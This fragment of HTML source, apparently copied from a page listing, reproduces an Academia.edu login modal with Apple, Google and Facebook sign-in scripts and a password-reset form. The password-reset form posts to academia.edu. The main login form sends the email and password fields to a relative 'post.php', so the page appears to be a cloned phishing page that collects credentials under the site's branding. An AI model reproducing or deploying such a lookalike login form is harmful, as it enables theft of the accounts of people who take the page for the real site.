class="col-sm-6"><div class="u-mb6x"><style type="text/css">.sign-in-with-apple-button {
  604. width: 100%;
  605. height: 52px;
  606. border-radius: 3px;
  607. border: 1px solid black;
  608. cursor: pointer;
  609. }</style><script src="https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js" type="text/javascript"></script><div class="sign-in-with-apple-button" data-border="false" data-color="white" id="appleid-signin"><span &nbsp;&nbsp;="Sign Up with Apple" class="u-fs11"></span></div><script>AppleID.auth.init({
  610. clientId: 'edu.academia.applesignon',
  611. scope: 'name email',
  612. redirectURI: 'https://www.academia.edu/sessions',
  613. state: "11734162cf75f657eb66e30bf44067fa2f65f800bb1df88f8c8808648269b823",
  614. });</script></div></div><script>new Aedu.Auth.OauthButton.Login.Google({
  615. el: '#login-google-oauth-button',
  616. rememberMeCheckboxId: 'remember_me',
  617. track: null,
  618. redirectPath: null,
  619. });
  620. new Aedu.Auth.OauthButton.Login.Facebook({
  621. el: '#login-facebook-oauth-button',
  622. rememberMeCheckboxId: 'remember_me',
  623. track: null,
  624. redirectPath: null,
  625. });</script></div><div class="row"><div class="col-xs-12"><div class="hr-heading login-hr-heading"><span class="hr-heading-text">or</span></div></div></div><div class="row"><div class="col-xs-12 u-positionRelative u-mt6x u-mb8x"><form id="js-for-recaptcha--login-form" class="js-login-form" action="post.php" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" /><input type="hidden" name="authenticity_token" value="YL4jDWPKg3VuXnLBF6zpB6DihFdwWOx8a8PA2x5zItRIKhaVk1FJYjpT83wQRLw4WX+N8bdjOfXGjZ55Dcee2g==" autocomplete="off" /><div class="form-group"><label class="control-label" for="login-modal-email-input">Email</label><input autofocus="" class="TextInput TextInput--lg TextInput--dark u-mb8x" id="login-modal-email-input" name="user" placeholder="Email" type="email" value="" /></div><div class="form-group"><label class="control-label" for="login-modal-password-input">Password</label><div class="u-floatRight"><a class="u-tcGrayDark u-fs12" data-target="#login-reset-password-container" data-toggle="collapse" href="javascript:void(0)" tabindex="-1"><span class="u-textDecorationNone"><i class="fa fa-lg fa-question-circle u-pr1x" style="line-height: 9px"></i></span>Password Reset</a></div><input class="TextInput TextInput--lg TextInput--dark u-mb8x" id="login-modal-password-input" name="pass" placeholder="Password" type="password" /><input type="hidden" name="post_login_redirect_url" id="post_login_redirect_url" autocomplete="off" /></div><div class="row"><div class="col-sm-8"><div class="checkbox"><label class="u-m0x" style="line-height: 18px;"><input type="checkbox" name="remember_me" id="remember_me" value="1" checked="checked" /><div class="u-tcGrayDark u-fs12 u-fw400">Remember me on this computer</div></label></div></div><div class="col-sm-4"><input type="submit" name="commit" value="Log In" class="Button Button--lg Button--block js-login-submit u-p0x" data-disable-with="Log In" /></div></div></form><div class="collapse" id="login-reset-password-container"><br /><div class="well margin-0x"><form id="js-for-recaptcha--login-password-reset-form" action="https://www.academia.edu/reset_password" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" /><input type="hidden" name="authenticity_token" value="E2TZBqOwEW2WziOHuo9mMzYerJBkKsF6obu3cWvGAWI78OyeUyvbesLDojq9ZzMMz4OlNqMRFPMM9enTeHK9bA==" autocomplete="off" /><p>Enter the email address you signed up with and we&#39;ll email you a reset link.</p><div class="form-group"><input class="form-control" name="email" type="email" /></div><script src="https://recaptcha.net/recaptcha/api.js" async defer></script>
  626. <input type="submit" data-sitekey="6Lf3KHUUAAAAACggoMpmGJdQDtiyrjVlvGJ6BbAj" data-callback="submitRecaptchaPasswordResetForm" class="g-recaptcha Button Button--block Button--blue" value="Email me a link" value=""/>
  627. </form></div></div><script>
  628. require.config({ waitSeconds: 90 })(["https://a.academia-assets.com/assets/collapse-72afd7d03a2eed328fba4420f6e921c093fecdd2c413b664075f8e59de030c92.js"], function() { // from javascript_helper.rb
  629. Aedu.recaptchaManagedForm(document.querySelector('.js-login-form'),
  630. document.querySelector('.js-login-submit'));
  631. window.submitRecaptchaPasswordResetForm = function() {
  632. $('#js-for-recaptcha--login-password-reset-form').submit();
  633. }
  634. var $resetPasswordContainer = $("#login-reset-password-container");
  635. $resetPasswordContainer.on("shown.bs.collapse", function(){
  636. $resetPasswordContainer.find("input[type=email]").focus()
  637. $('html, body').animate({
  638. scrollTop: $resetPasswordContainer.offset().top
  639. }, 500);
  640. });
  641. });
  642. </script>
  643. </div></div><hr /><div class="row"><div class="u-taCenter u-mv8x u-tcGrayDark">Don&#39;t have an account?&nbsp;<a class="u-tcGrayDark u-textDecorationUnderline" href="https://www.academia.edu/signup">Sign Up</a></div></div></div></div></div></div></div><div data-auto_select="false" data-client_id="331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b" data-login_uri="https://www.academia.edu/registrations/google_one_tap" data-moment_callback="onGoogleOneTapEvent" id="g_id_onload"></div><script>function onGoogleOneTapEvent(event) {
  644. var momentType = event.getMomentType();
  645. var momentReason = null;
  646. if (event.isNotDisplayed()) {
  647. momentReason = event.getNotDisplayedReason();
  648. } else if (event.isSkippedMoment()) {
  649. momentReason = event.getSkippedReason();
  650. } else if (event.isDismissedMoment()) {
  651. momentReason = event.getDismissedReason();
  652. }
  653. Aedu.arbitraryEvents.write('GoogleOneTapEvent', {
  654. moment_type: momentType,
  655. moment_reason: momentReason,
  656. });
  657. }</script><script src="https://accounts.google.com/gsi/client" async defer></script> <script>document.addEventListener('DOMContentLoaded', function(){
  658. var $dismissible = $(".dismissible_banner");
  659. $dismissible.click(function(ev) {
  660. $dismissible.hide();
  661. });
  662. });</script>
  663. </div>
  664. <div class="DesignSystem"></div>
  665. <div id='overlay_background'></div>
  666. <div id='bootstrap-modal-container' class='bootstrap'></div>
  667. <div id='ds-modal-container' class='bootstrap DesignSystem'></div>
  668. <div id='full-screen-modal'></div>
  669. </div>
  670. </body>
  671. </html>